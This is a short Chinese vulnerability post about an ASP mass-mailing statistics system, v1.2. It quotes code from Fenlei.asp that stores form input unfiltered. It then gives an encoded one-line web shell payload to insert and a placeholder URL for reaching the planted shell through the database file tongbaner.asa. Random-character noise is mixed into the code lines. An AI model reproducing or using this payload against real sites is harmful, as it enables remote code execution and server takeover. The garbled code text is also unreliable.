铜板儿网邮件群发统计系统 v1.2 漏洞

admin

'Fenlei.asp
* s- y! X7 @1 j! e) g8 v6 z! Q+ K5 f" z
IF Request.QueryString("Action")="del" Then
ID=Request.QueryString("ID")
IF Countss ("tui","Fenlei",ID )<>0 then
'略
IF Request.QueryString("Action")="Add" Then
- L& Z. a5 F$ |" x9 x; MTname=Request.Form("Typename")
Set Rs=Server.CreateObject("adodb.Recordset")
' W- _/ t# Y! V0 H9 dSql="Select * From Fenlei Order by id Desc "
Rs.Open Sql,Conn,1,3
9 O. [% C* X6 b. HRs.Addnew
. w  s: F' _4 X  zRs("Typename")=Tname
5 f  r/ |4 S$ P: j'略
: p5 C( }( i( E2 DSet Rs=Server.CreateObject("adodb.Recordset")
3 I; H8 N* ?2 o' V; T  \, |Sql="Select * From Fenlei Order by id Desc "
Rs.Open Sql,Conn,1,1
'略
%>
, F6 k# G$ S" V9 x1 Y( B" N! B  j3 i
, b6 w8 s1 \" ?! e# F2 r, j/ P
2 _: w1 O! ~- [" E, f
" X# n9 O$ V0 h1 V3 ^没有过滤，直接写入数据库。
9 I, ]- k, `6 o1 C: ^3 d) [5 `- B
/ t1 |0 K/ |# o2 Q利用方法：
% k: s$ D  R: M: ^/ @2 K, h
插入：┼攠數畣整爠煥敵瑳∨≡┩>


- X  |, [$ ?. H" T/ |2 U$ s/ K2 b连接： http://www.xxx.com/###tongbaner.asa
0 f% k7 d. Q+ C3 K'默认安装文件：
'install.asp